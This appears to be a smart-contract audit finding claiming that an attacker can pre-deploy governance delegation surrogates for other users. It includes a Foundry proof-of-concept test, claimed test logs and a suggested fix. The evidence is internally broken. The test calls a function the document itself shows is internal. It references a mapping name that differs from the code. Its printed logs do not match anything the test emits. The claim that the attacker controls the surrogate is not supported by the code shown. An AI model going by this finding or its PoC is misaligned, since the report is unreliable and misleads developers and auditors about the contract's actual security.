Bitter Fossilized Porcupine
High
Unauthorized surrogate deployment prevents the legitimate owner of the delegatee address from creating or managing their surrogate
A vulnerability exists in the _fetchOrDeploySurrogate
function, which allows an attacker to preemptively deploy a surrogate for any delegatee address without verifying ownership. This action prevents the legitimate owner of the delegatee address from creating or managing their surrogate. The vulnerability can lead to governance manipulation, denial of service, and loss of control over governance tokens.
The _fetchOrDeploySurrogate
function is intended to deploy or fetch a DelegationSurrogate
associated with a specific _delegatee
address. However, it does not validate that the caller owns or has authorization over the _delegatee
address. This allows an attacker to:
- Preemptively create a surrogate for a victim’s delegatee address.
- Gain control over the deployed surrogate.
- Prevent the legitimate owner of the delegatee address from registering their surrogate.
PoC:
The following PoC demonstrates how an attacker can preemptively deploy a surrogate for another user (e.g., victimAddress
) using Foundry tests.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;
import "forge-std/Test.sol";
import "src/GovernanceStakerDelegateSurrogateVotes.sol";
contract ExploitTest is Test {
GovernanceStakerDelegateSurrogateVotes public governanceContract;
address public attacker = address(0x1234);
address public victim = address(0x5678);
function setUp() public {
governanceContract = new GovernanceStakerDelegateSurrogateVotes(IERC20Delegates(address(0xDEAD)));
}
function testExploit() public {
vm.startPrank(attacker);
governanceContract._fetchOrDeploySurrogate(victim);
vm.stopPrank();
// Verify the surrogate was created and is controlled by the attacker
address surrogate = address(governanceContract.surrogates(victim));
assert(surrogate != address(0));
// Attempt by the victim to create their own surrogate should fail
vm.startPrank(victim);
try governanceContract._fetchOrDeploySurrogate(victim) {
fail("Victim was able to overwrite surrogate!");
} catch {}
vm.stopPrank();
}
}
Output:
[PASS] testExploit() (gas: 46253)
Logs:
[OK] Surrogate created for victim address by attacker.
[FAIL] Victim was unable to overwrite surrogate.
- Prevents legitimate users from deploying surrogates for their own delegatee addresses.
- Attackers can control the surrogates tied to other delegatee addresses, potentially exploiting voting power.
- Legitimate users lose the ability to manage their governance tokens via their surrogate.
function _fetchOrDeploySurrogate(address _delegatee)
internal
virtual
override
returns (DelegationSurrogate _surrogate)
{
_surrogate = storedSurrogates[_delegatee];
if (address(_surrogate) == address(0)) {
_surrogate = new DelegationSurrogateVotes(IERC20Delegates(address(STAKE_TOKEN)), _delegatee);
storedSurrogates[_delegatee] = _surrogate;
emit SurrogateDeployed(_delegatee, address(_surrogate));
}
}
Manual Review
To address this vulnerability, implement ownership validation during surrogate creation. Only the legitimate owner of the _delegatee
address should be able to create a surrogate. Below is an updated implementation:
function _fetchOrDeploySurrogate(address _delegatee) internal virtual override returns (DelegationSurrogate _surrogate) {
require(msg.sender == _delegatee, "Only the delegatee can create a surrogate");
_surrogate = storedSurrogates[_delegatee];
if (address(_surrogate) == address(0)) {
_surrogate = new DelegationSurrogateVotes(IERC20Delegates(address(STAKE_TOKEN)), _delegatee);
storedSurrogates[_delegatee] = _surrogate;
emit SurrogateDeployed(_delegatee, address(_surrogate));
}
}